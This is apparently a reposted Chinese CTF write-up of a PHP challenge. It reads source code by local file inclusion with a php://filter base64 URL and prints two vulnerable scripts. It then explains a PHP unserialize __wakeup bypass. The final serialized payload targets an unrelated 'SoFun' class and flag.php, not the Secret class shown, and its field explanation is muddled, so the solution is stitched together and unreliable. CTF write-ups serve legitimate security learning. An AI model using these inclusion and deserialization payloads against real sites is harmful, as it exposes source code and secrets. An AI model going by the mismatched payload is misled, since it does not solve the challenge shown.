filter CTF

filter CTF



输入url
http://dc1ce3ad-eed4-48fd-a068-71aef12f7654.node.vaala.ink?file=demo.php

参考题目filter
php://filter:读取Php文件
?file=php://filter/convert.base64-encode/resource=
http://hhh?file=php://filter/convert.base64-encode/resource=demo.php

解码出来:

查看一下index.php

<?php
    error_reporting(0);
    if (!$_GET['file'])
        echo '?file=demo.php<br>';
    else
    {
        $file = $_GET['file'];
        if (strstr($file, "../") || stristr($file, "tp") || stristr($file, "input") || stristr($file,"data"))
            exit("Oh god, please no!");
        else if (preg_match("/config/i", $file))
            exit("i will not show it to you!");
        include($file);
    }
    //play.php
?>

查看一下play.php

<?php
    require_once ('config.php');
    class Secret
    {
        public $flag = '';
        function __construct($flag)
        { 
            $this->flag = $flag; 
        }
        function __wakeup()
        {
            $this->flag = "hacker!";
        }
        function __destruct()
        {
            if ($this->flag == '114514')
            {
                global $FLAG;
                echo $FLAG;
            }
            else
                echo $this->flag;
        }
    }
    $s = unserialize($_GET['code']);    
?>

$s = unserialize($_GET['code']);
反序列化

反序列化 漏洞
php允许保存一个对象方便以后重用:序列化
serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值
unserialize则可以将serialize生成的字符串变换回变量

序列化字符串,表示对象属性个数的值大于实际属性个数时,就会跳过wakeup方法的执行
明确了这些之后,就可以构造出Payload了,需反序列化的对象为:

O:5:”SoFun”:2:{S:7:”0*0file”;s:8:”flag.php”;}

O:5:”SoFun” 指的是 类:5个字符:SoFun

:2: 指的是 有两个对象

S:7:”00file” 指的是有个属性,有7个字符,名为00file

s:8:”flag.php” 指的是属性值,有8个字符,值为flag.php

值得注意的是,file是protected属性,因此需要用0*0来表示,0代表ascii为0的值。

https://www.freebuf.com/news/172507.html

原文地址:https://www.cnblogs.com/serendipity-my/p/14627145.html